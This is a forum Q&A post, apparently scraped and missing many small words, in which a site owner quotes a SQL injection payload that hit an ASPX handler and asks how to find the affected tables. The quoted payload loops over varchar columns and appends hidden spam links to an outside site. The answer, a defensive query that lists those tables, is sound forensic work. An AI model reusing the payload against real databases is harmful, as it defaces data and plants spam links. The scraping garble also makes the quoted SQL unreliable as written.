sql server - Find the tables affected by SQL injection -
recently, discovered 1 of our aspx handlers targeted sql injection attack. made possible fact took substring of url starting @ index x until end of url string , matched records in database made easy attackers.
here example of injection performed:
;declare @c cursor; declare @d varchar(4000); set @c=cursor select 'update ['+table_name+'] set ['+column_name+']=['+column_name+']+case abs(checksum(newid()))%7 when 0 ''''+char(60)+''div style="display:none"''+char(62) +''are abortions safe '' +char(60)+''a href="http:''+char(47)+char(47) +''www.ooblong.com''+char(47)+''blog''+char(47) +''template''+char(47)+''page''+char(47)+''abortion-clinics-nyc.aspx"'' +char(62)+case abs(checksum(newid()))%3 when 0 ''reasons against abortion'' when 1 ''pregnant abortion'' else ''pill pregnancy termination'' end +char(60)+char(47)+''a''+char(62)+'' how abortion cost'' +char(60)+char(47)+''div''+char(62)+'''' else '''' end' sysindexes inner join sysobjects o on i.id=o.id inner join information_schema.columns on o.name=table_name where(indid=0 or indid=1) , data_type '%varchar' and(character_maximum_length=-1 or character_maximum_length=2147483647); open @c; fetch next @c @d; while @@fetch_status=0 begin exec (@d); fetch next @c @d; end; close @c--
we have secured our aspx handlers refuse these kinds of requests. find out tables affected attack. discovered @ least 2 tables affected, afraid there more. how can reverse engineer above sql find out tables affected?
just take query you've shown , strip off unnecessary details attack itself, , get:
select table_name, column_name sysindexes inner join sysobjects o on i.id=o.id inner join information_schema.columns on o.name=table_name where(indid=0 or indid=1) , data_type '%varchar' and(character_maximum_length=-1 or character_maximum_length=2147483647);
tables , columns in output of query used in cursor , affected attack you've mentioned.
Comments
Post a Comment